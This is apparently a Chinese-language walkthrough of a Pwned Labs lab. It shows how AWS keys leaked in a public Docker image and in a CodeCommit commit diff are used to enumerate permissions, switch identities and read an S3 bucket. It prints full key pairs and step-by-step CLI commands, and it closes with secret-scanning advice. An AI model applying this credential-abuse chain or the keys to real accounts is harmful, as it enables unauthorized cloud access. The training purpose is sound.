0x00 场景介绍
Huge Logistics 公司邀请你们团队进行一次安全评估。
你们的主要目标是审查他们的公共代码仓库,查找是否存在被忽略的凭据或敏感信息。
如果发现相关信息,可以利用它们获取对其云基础设施的初始访问权限。
在此基础上,继续进行横向与纵向渗透,以展示潜在的影响。
你们的任务是识别出所有安全漏洞,帮助他们及时修复。
🎯 该靶场名为:Uncover Secrets in CodeCommit and Docker,点击【阅读原文】,立即进入!
0x01 前置知识
-
基本的 Linux 命令行知识
0x02 学习目标
-
与 Docker 容器交互并获取机密信息 -
枚举并从 AWS CodeCommit 获取机密信息 -
了解如何防止这种情况的发生
0x03 难度等级
-
基础(Foundations)
0x04 关注重点
-
红队(Red)
0x05 真实背景
容器化已成为互联服务的基础性元素,Docker 作为领先的容器化平台脱颖而出。Docker Hub 包含超过 900 万个可以供任何人使用的镜像。
在一项关于容器安全的重要研究中,来自亚琛工业大学的研究人员检查了 Docker Hub 上的 337,171 个镜像和 8,076 个来自私有仓库的镜像。
他们发现超过 8% 的这些镜像包含 secret 数据,如私钥和 API 密钥。具体来说,他们识别出了 52,107 个私钥和 3,158 个暴露的 API 密钥。
在这些 API 密钥中,2,920 个属于云服务提供商,研究人员还识别出了 1,213 个 AWS API 的密钥。
0x06 解题思路
6.1 公开资源侦察
我们首先在 Docker Hub 上搜索与 Huge Logistics 明显相关的镜像:
https://hub.docker.com/search?q=huge-logistics
其中,镜像huge-logistics-terraform-runner
看起来是用于云环境配置和管理的,其标签(tag)为0.12
。
https://hub.docker.com/r/hljose/huge-logistics-terraform-runner/tags
当然,我们也可以通过 Docker CLI 来搜索相关镜像:
docker search huge-logistics
如果提示需要登录才能搜索镜像,可先安装Docker Desktop[1],并登录账号,或使用命令docker login
。不熟悉 Docker Desktop、Docker Engine 和 Docker CLI 的同学,可以参考我们的文章《小猫咪带你理清Docker、containerd、CRI-O 和 runc 之间的区别》。
想查看镜像的 tag 信息,可以访问如下接口,并配合jq
工具结构化解析返回的 JSON:
curl https://hub.docker.com/v2/repositories/hljose/huge-logistics-terraform-runner/tags | jq
使用Skopeo[2] 工具可以更便捷地查看镜像信息。Skopeo 支持在无需下载镜像的情况下进行远程操作:
skopeo inspect docker://hljose/huge-logistics-terraform-runner:0.12
6.2 容器安全分析
接着,我们拉取该镜像至本地:
docker pull hljose/huge-logistics-terraform-runner:0.12
使用 Docker Scout 插件,我们可以快速获取镜像的基本信息,包括其漏洞情况:
docker scout quickview hljose/huge-logistics-terraform-runner:0.12
运行结果显示,该镜像的基础镜像是 Alpine
。
Alpine
镜像的最小安装体积不到 5 MB,比许多其它的 Linux 发行版要小得多,可以缩短构建时间、加快分发速度并降低存储成本,因此成为了一种非常受欢迎的选择。
继续使用 Docker Scout 查看镜像中存在的已知漏洞:
docker scout cves hljose/huge-logistics-terraform-runner:0.12
若系统中尚未安装 Docker Scout 插件,可通过以下命令安装:
curl -fsSL https://raw.githubusercontent.com/docker/scout-cli/main/install.sh -o install-scout.shsh install-scout.sh
6.3 镜像内部探索
我们将该镜像以交互模式运行为容器,并为其指定名称为miao2sec
。由于我们使用的是 arm64 架构的设备,还需指定运行平台为linux/amd64
:
docker run -it --name miao2sec --platform=linux/amd64 hljose/huge-logistics-terraform-runner:0.12 /bin/bash
进入容器后,我们发现一个名为 workspace
的非默认目录,但该目录为空。
接着,使用env
命令查看镜像中是否以环境变量方式存储了敏感信息。结果显示,我们意外获取到了 AWS 凭证,后续将基于该凭证进行进一步操作。
在/usr/local/bin
下,还发现了三个脚本文件:aws-creds-test.sh
(凭证测试)、backup.sh
(备份脚本)以及health-check.sh
(健康检查脚本)。
然而从安全角度来看,这些脚本并未带来实质性的价值,且health-check.sh
中的 URL 无法访问。
更方便的方式是使用docker inspect
查看镜像的环境变量及更多低层信息,如维护者、镜像配置等:
6.4 凭证滥用
我们使用获得的 AWS 凭证进行登录,并确认其身份为 prod-deploy
:
aws configureaws sts get-caller-identity
6.5 自动化权限分析
接下来,使用aws-enumerator[3] 自动枚举权限:
go install -v github.com/shabarkin/aws-enumerator@latest
提供 AWS 凭证:
aws-enumerator cred -aws_region us-east-1 -aws_access_key_id AKIA3NRSK2PTOA5KVIUF -aws_secret_access_key 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
它会在当前目录下生成.env
文件:
执行枚举命令,列出 AWS 中暴露的服务与资源:
aws-enumerator enum
如图所示,该命令返回了一个关于 code commit 的提示。
AWS CodeCommit 是一项完全托管的源代码控制服务,可与其他 AWS 服务紧密集成,并提供一种在安全且可扩展的环境中协作处理代码的方法。
|
|
|
---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
此外,该命令还会将枚举的结果输出到本地文件系统中,我们后续需要基于这些数据进行分析。
接下来,使用dump
命令提取出 AWS 环境中已枚举的服务和资源的更详细的信息。
与enum
命令不同的是:enum
命令仅列出服务的基础信息不同,而dump
命令会进一步从这些已被枚举的服务和资源中提取更详细的数据。
aws-enumerator dump
如图所示,我们拥有了ListRepositories
权限,可列出当前账户下所有 Code Commit 仓库。
根据枚举结果,发现存在一个名为vessel-tracking
的仓库。但我们无法直接通过git clone
克隆它:
git clone https://git-codecommit.us-east-1.amazonaws.com/v1/repos/vessel-tracking
6.6 源码仓库渗透与差异分析
由于我们的 AWS CLI 拥有了 AWS 的登录凭证。我们可以尝试使用 AWS CLI 来枚举和分析此仓库。
aws codecommit list-repositories
运行get-repository
后,会返回仓库的元数据,包括默认分支的名称,即 master
。
aws codecommit get-repository --repository-name vessel-tracking
运行get-repository
后,会返回所有的分支信息,这里多了个名为 dev
的分支。
aws codecommit list-branches --repository-name vessel-tracking
我们重点关注 dev
分支,并提取其提交信息。这时,我们会看到最新的提交 ID:
aws codecommit get-branch --repository-name vessel-tracking --branch-name dev
使用get-commit
命令,并通过--commit-id
指定最新的提交 ID,我们可以获取其父提交parents
信息。
从提交记录来看,开发者对 S3 的调用方式进行了修改,使其更加通用化。
aws codecommit get-commit --repository-name vessel-tracking --commit-id b63f0756ce162a3928c4470681cf18dd2e4e2d5a
接下来,使用get-differences
命令查看该提交与其父提交之间的具体差异。参数说明如下:
-
--before-commit-specifier
:父提交的 ID。 -
--after-commit-specifier
:最新的提交 ID。
aws codecommit get-differences --repository-name vessel-tracking --before-commit-specifier 2272b1b6860912aa3b042caf9ee3aaef58b19cb1 --after-commit-specifier b63f0756ce162a3928c4470681cf18dd2e4e2d5a
结果显示,js/server.js
文件被修改。
使用get-file
命令下载该文件,配合--file-path
参数指定目标路径:
aws codecommit get-file --repository-name vessel-tracking --commit-specifier b63f0756ce162a3928c4470681cf18dd2e4e2d5a --file-path js/server.js
虽然命令成功返回了文件内容,但内容为 Base64 编码格式。
我们可使用如下命令将其解码还原为原始文本:
echo"<base64>" | base64 -d
还原后的文件内容如下。在代码中,我们意外发现了硬编码的 AWS 凭证,同时也看到了对名为vessel-tracking
的 S3 存储桶的引用:
const express = require('express');const axios = require('axios');const AWS = require('aws-sdk');const { v4: uuidv4 } = require('uuid');require('dotenv').config();const app = express();const PORT = process.env.PORT || 3000;// AWS Setupconst AWS_ACCESS_KEY = 'AKIA3NRSK2PTLGAWWLTG';const AWS_SECRET_KEY = '2wVww5VEAc65eWWmhsuUUvFETT7+ymYGLjmeChas';AWS.config.update({region: 'us-east-1', // Change to your regionaccessKeyId: AWS_ACCESS_KEY,secretAccessKey: AWS_SECRET_KEY});const s3 = new AWS.S3();app.use((req, res, next) => {// Generate a request ID req.requestID = uuidv4(); next();});// 应用 vessel-tracking 存储桶app.get('/vessel/:mssi', async (req, res) => {try {const mssi = req.params.mssi;// Fetch data from MarineTraffic APIlet response = await axios.get(`https://api.marinetraffic.com/vessel/${mssi}`, {headers: { 'Api-Key': process.env.MARINE_API_KEY } });let data = response.data; // Modify as per actual API response structure// Upload to S3let params = {Bucket: 'vessel-tracking',Key: `${mssi}.json`,Body: JSON.stringify(data),ContentType: "application/json" }; s3.putObject(params, function (err, s3data) {if (err) return res.status(500).json(err);// Send data to frontend res.json({ data,requestID: req.requestID }); }); } catch (error) { res.status(500).json({ error: "Error fetching vessel data." }); }});app.listen(PORT, () => {console.log(`Server is running on PORT ${PORT}`);});
6.7 提权以访问敏感数据
我们可以使用新获得的密钥配置 AWS CLI,完成身份切换,此时我们拥有的是代码管理员权限。
aws configureaws sts get-caller-identity
最后一步,列出vessel-tracking
存储桶中的文件,并读取其中的 flag:
aws s3 ls vessel-trackingaws s3 cp s3://vessel-tracking/flag.txt .
0x07 总结
无论是作为攻击者、防御者还是 DevOps 专业人员,主动发现可能被添加到资源中的 secret 都是一个很好的做法。
我们可以使用 Trufflehog[4] 工具扫描 Docker 容器中是否存在敏感信息。
trufflehog docker --image hljose/huge-logistics-terraform-runner:0.12
此外,我们还可以使用 trivy[5] 扫描镜像中的漏洞、错误配置、secret 和 许可证(trivy 默认只扫描漏洞和 secret,因此推荐使用 --scanner
指定所有的扫描类型)。
如图所示,该漏洞包含 135 个漏洞。
trivy 还可以从 Env
和 History
中扫描出 secret.比 trufflehog 强的是,trivy 可以扫描出 Secret Access Key(当然,这其中还需要去重)。
此外,Trivy 还可以扫描软件包中的许可证,可以帮我们避免一些合规方面的风险,十分推荐。
最后,我们还可以使用 AWS Labs 团队提供的git-secrets [6]工具,以防止密码和其他敏感信息被提交到 Git 仓库中。
Docker Desktop: https://docs.docker.com/get-started/get-docker/
[2]Skopeo: https://github.com/containers/skopeo
[3]aws-enumerator: https://github.com/shabarkin/aws-enumerator
[4]Trufflehog: https://github.com/trufflesecurity/trufflehog/
[5]trivy : https://github.com/aquasecurity/trivy
原文始发于微信公众号(喵苗安全):【Pwned Labs】揭开 CodeCommit 和 Docker 的秘密
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论